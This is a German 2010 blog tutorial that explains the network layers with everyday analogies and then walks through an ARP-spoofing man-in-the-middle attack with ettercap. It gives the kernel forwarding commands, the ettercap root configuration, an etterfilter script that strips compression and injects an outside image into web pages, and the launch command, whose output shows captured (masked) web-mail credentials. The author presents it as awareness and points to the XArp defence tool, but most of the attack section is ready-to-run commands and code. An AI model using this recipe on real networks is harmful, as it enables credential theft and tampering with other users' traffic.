This blog post has been published on 2010-09-18 and may be out of date.
Dieses HowTo zeigt wie einfach es ist einen Hack durchzuführen, wenn du mit deinem Laptop / PC einmal im lokalen Netz (LAN) bist. Eine kurze Einführung in die Thematik bevor es losgeht, wir wollen schließlich auch was lernen, :-) dazu versuche ich die Kommunikation zwischen zwei PCs möglichst einfach zu erklären und falls du etwas nicht verstehst, dann lese erst-einmal die folgende Erklärung bis zum Ende. Falls du dann noch fragen hast, kannst du diese unten per Kommentar stellen.
1.) Erklärung
1.1.) Am Anfang ist immer eine Information z.B. diese Webseite und damit Sender und Empfänge sich verstehen können, wurde vorher eine Sprache / Verfahren festgelegt, wie man diese Information darstellt. Das ist wie im wirklichen Leben, man kann nicht jede Information gleich behandel, es gibt wichtige, sensible Informationen und dann auch wieder irgendwelche Floskeln (Guten Tag!) die nicht sonderlich wichtig sind.
HTTP: Bei dieses Protokoll möchten wir, dass die Nachricht auch wirklich beim Empfänger ankommen. Es ist wie eine normale Unterhaltung zwischen zwei Personen, wenn der Empfänger etwas nicht verstanden hat (die Daten nicht korrekt angekommen sind), fragt er noch einmal nach. – Port 80
HTTPS: Dieses Protokoll ist für die bereits erwähnten sensiblen Daten gedacht, man kann sich dies auch als eine Unterhaltung zwischen zwei Personen vorstellen, jedoch mit dem Unterschied, dass die beiden sich vorher auf eine nur für Sie verständliche Kommunikation vereinbart haben. – Port 443
SMTP: Mithilfe von diesem Protokoll verschickt man E-Mails. Man kann sich das vorstellen, als ob man bei der Poststelle einen Brief abgibt, welcher dann erst-einmal gesammelt, verarbeitet und dann verschickt wird. Als erstes authentifiziert man sich und danach gibt man den kompletten Brief (E-Mail) am Schalter ab. – Port 25
Wenn du das Prinzip von SMTP selber testen möchtest, gehst du wie folgt vor.
auf deinem PC:
telnet "server" 25
HELO “server”
MAIL FROM:test@server.de
RCPT TO:test2@server2.de
Nun kannst du die E-Mail schrieben, mit einem “.” beendest du diese Eingabe und die Mail wird verschickt. Dies funktioniert natürlich nicht auf allen Servern, kannst es ja mal mit…
nc -v suckup.de 25
… ausprobieren, man erstelle Regel um zu verhindern, dass jeder einfach so E-Mails versenden kann und richtet eine Authentifizierung ein. Außerdem kannst du mit den hier genannten Programmen nicht nur mit den Port 25 (SMTP) verbinden, du kannst dich auch mit einem Web-Server (Port 80) und so weiter verbinden.
nc -v suckup.de 80
Mit dem folgendem Befehl, kannst du dir einige reservierte Protokolle + Ports ansehen.
cat /etc/protocols
Einen “Port“, kann man sich nun als Fernster an einem Haus (Computer) vorstellen, somit wäre unsere IP-Adresse, unsere Hausnummer und um mit unterschiedlichen Personen (Diensten) zu kommunizieren, klopfen wir an unterschiedlichen Fenstern. Die meisten Ports werden jedoch nicht reagieren, da sich in dem entsprechendem Raum niemand befindet und daher die Rollläden runtergelassen wurden (der Port geschlossen ist).
Wenn du das Prinzip von Ports selber testen möchtest, gehst du wie folgt vor.
1.) auf deinem PC: stellst du auf einem Port (3333) eine CD zur Verfügung
cat backup.iso | nc -l 3333
2.) und auf einen anderen PC im Netz: kann du die CD (ISO) nun empfangen
nc 192.168.0.1 3333 > backup.iso
-> weitere Infos zu nc
[stextbox id=”info”]Somit gibt es noch etliche weitere Beispiele, wo Anwendungen durch ein bestimmtes Protokoll miteinander kommunizieren und wir hätten bereits die obersten
Schichten 7 & 6 & 5 – die Anwendungs- & Darstellungs- & Sitzungsschicht die sogenannten “Anwendungsorientierten Schichten” grob erklärt. (wobei die letzte ein abgebrochenes Gespräch wieder an einer Vorherigen stelle beginnen kann… nur um dazu auch ein paar Wort verloren zu haben)[/stextbox]
1.2.) Als nächstes müssen wir uns Vorstellen, dass diese ‘Sätze’ welche die Personen miteinander sprechen (also die Daten, welche Sie austauschen) nicht Satz für Satz gesprochen (übertragen) werden, sondern jedes Wort wird einzeln gesprochen und mit einer laufenden Nummer versehen.
z.B.:
Sender schickt folgendes Satz ->
1.Hallo 2.du 3.da, 4.was 5.geht?
Daten kommen durcheinander beim Empfänger an ->
4.was 2.du 1:Hallo 3.da 5.geht?
Und der Empfänger setzt den Satz wieder zusammen ->
Hallo du da, was geht?
Somit kann man die einzelnen Wörter auf verschiedenen Wegen zum Empfänger schicken und diese können zu verschiedenen Zeiten ankommen, der Empfänger versteht die Nachricht trotzdem. Außerdem kann es manchmal nötig sein, jemanden auf ein Gespräch hinzuweisen (Verbindung aufbauen) indem man z.B. dessen Hand schüttelt und der gegenüber nun weiß, dass nun die Kommunikation folgt und beim beendigen der selbigen, diesen Vorgang wiederholt. Falls man in diesem Fall etwas nicht verstanden hat (Daten auf dem Weg verloren gingen) kann man einfach noch einmal Nachfragen. (
Drei-Wege-Handschlag –
TCP)
Es gibt jedoch auch Situationen, wo es vorkommt, dass die Kommunikation bei einer “Frage” <-> “Antwort” bleib,. zum Beispiel die Frage nach dem Wetter. Und wenn man von seinem gegenüber keine Antwort bekommt, dann halt nicht ;-) und man fragt noch einmal. Dieses Prinzip wendet man z.B. bei der Auflösung von einer IP zum Hostnamen (
DNS) an, um nicht zu viel Overhead (zu viel Aufwand, für eine so kurze Antwort) zu erzeugen. – (
UDP)
[stextbox id=”info”]Somit haben wir nun bereits die
4 Schicht – die Transportschicht erklärt.[/stextbox]
1.3.) Stellen wir uns weiter vor, dass wir nicht direkt vor unserm Gesprächspartner stehen, sondern dieser weit weg ist, daher schicken wir die einzelnen Wörter nun per Post und verpacken die “Sätze” (Daten) -> “Wörter” (Segmente) -> in Kisten (Paketen). Diese Kisten wenden nun über mehrere Wege von verschiedenen Poststellen (
Routern) zum Ziel geliefert.
Wenn du das Prinzip von IP-Adressen selber testen möchtest, gehst du wie folgt vor.
Als erstes schauen wir und unsere eigene IP-Adresse an.
ifconfig
Beispiel: Ausgabe
[...]
Link encap:Ethernet Hardware Adresse 00:25:56:37:5b:96
inet Adresse:192.168.2.103 Bcast:192.168.2.255 Maske:255.255.255.0
[...]
Hier können wir nun sehr viele hilfreiche Infos finden:
Hardware Adresse: deine (theoretisch) eindeutige MAC-Adresse
inter Adresse: deine IP-Adresse
Bcast: die letzte IP-Adresse in diesem Netzwerk
Mask: die Aufteilung von deinem Netz
In meinem Beispiel habe ich selber die IP-Adresse “192.168.2.103” und die Netzmaske “255.255.255.0” daraus ergibt sich die Broadcast-Adresse, indem man die einzelnen Zahlen Binär darstellt, das heißt:
00000001 = 1
00000010 = 2
00000011 = 3
[…]
11000000 10101000 00000010 01100111
+ 11111111 11111111 11111111 00000000
————————
11000000 10101000 00000010 00000000
Das heißt, wenn wir die Netzmaske Binär darstellen, sieht diese wie folgt aus:
255.255.255.0 -> 11111111 11111111 11111111 | 00000000
Und das wiederum heißt, dass wir 8 mal die 0 (Null) als unseren Hostanteil haben, der Rest kann weiter aufgeteilt werden, um so mehrer Netze zu schaffen – (Supernetting)
2⁸ = 256 – 1 (Braodcast) – 1 (Netzadresse)
254 -> Hostanteil
Man kann nun den Hostanteil auch anders darstellen.
24 x I -> /24
Mit diesen Infos können wir nun mithilfe von “nmap” das Netz nach aktiven PCs durchsuchen.
nmap -v -sP 192.168.2.255/24
Und ggf. auch nach offenen Ports im Netz suchen.
nmap -O -sS -sV -p 20-23,80,443 '192.168.2.*'
[stextbox id=”info”]Und somit auch die
3 Schicht – die Vermittlungschicht abgeschlossen.[/stextbox]
1.4.) Die Pakete kommen nun alle beim Hausmeister (
Switch) an, dieser schreit nun durch das Treppenhaus, (
Broadcast) wo Familie Müller wohnt (
ARP) sollte sich nun zufällig ein böser Nachbar melden (
ARP-Spoofing) und die Pakete annehmen, aufmachen, verändern, neu einpacken und an den ursprünglichen Empfänger weiterreichen, ohne das dieser davon etwas mitbekommt, haben wir eine sogenannte “
Man In The Middle” Taktik angewandt.
[stextbox id=”info”]Und somit die
2 Schicht – die Sicherungsschicht ausgetrickst.[/stextbox]
1.5.) Vor nicht alt so langer Zeit, wurden keine Hausmeister eingesetzt, die waren zu teuer, ;-) da musste der arme Postbote (
Hub) alle Pakete an alle Mieter im Haus ausliefern. (An alle Computer im Netz alle Pakete schicken.) Man kann sich vorstellen, was das für ein Durcheinander war und das dies zu Problemen führte.
[stextbox id=”info”]Und somit auch die
1 Schicht – die Bitübertragungsschicht angesprochen.[/stextbox]
—
Kommen wir zum Punkt. Brauchte man in älteren Netzwerken, deren PCs über einen Hub miteinander verbunden waren, somit nur ein Sniffer-Programm z.B.
Ethereal, um den gesamten Datenverkehr mitzulesen. Muss man heute meist “ARP-Spoofing” und somit eine “Man In The Middle” Methode anwenden, um an diese Daten zu kommen.
2.) System vorbereiten
Welches Interface wird verwendet?
folgende Befehle ausführen
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/conf/default/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
echo 1 > /proc/sys/net/ipv4/conf/default/log_martians
echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/forwarding
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/log_martians
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/rp_filter
Nun installieren wie folgendes Programm:
ettercap
aptitude install ettercap-common ettercap
Und passen dessen Konfiguration ein wenig an…
…ec_uid & ec_gid auf 0 stellen…
[…]
[privs]
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
[…]
…und # vor den iptables-Regeln entfernen…
[…]
# if you use iptables:
redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
[…]
…nun wechseln wir in folgendes Verzeichnis…
(ggf. eigene Firewall ausschalten)
….und erstellen einen neuen Filter (neue Datei), welcher in “img”-Tag von HTML Dateien, welche per TCP von Port 80 verschickt wurden, ersetzt….
Inhalt:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://suckup.de/lars.png\" ");
replace("IMG SRC=", "img src=\"http://suckup.de/lars.png\" ");
}
…nun übersetzten wir den neuen Filter…
etterfilter filter.pic -o filter.ef
…und starten das Programm…
3.) Hack durchführen
sudo ettercap -T -q -F filter.ef -M arp:remote /$IP/ -P autoadd
[…]
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
HTTP : 217.188.35.145:443 -> USER: ******@web.de PASS: ******* INFO: http://www.studivz.net/
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
[…]
Habe die Zugangsdaten in diesem Beispiel durch “*” ersetzt, in deinem Log stehen diese dann im Klartext. :-)
Dies soll jedoch keineswegs eine Anleitung sein ein “böser” Hacker zu werden, sondern ich wollte verdeutlichen, wie einfach es ist einen solchen Hack durchzuführen und ggf. an sensible Daten zu kommen. Daher, solltest du solche oder ähnliche Fehlermeldungen im Browser sehen, solltest du sehr vorsichtig sein.
Und dir ggf. folgendes Programm (auch für Windows verfügbar) installieren. ->
XArp <-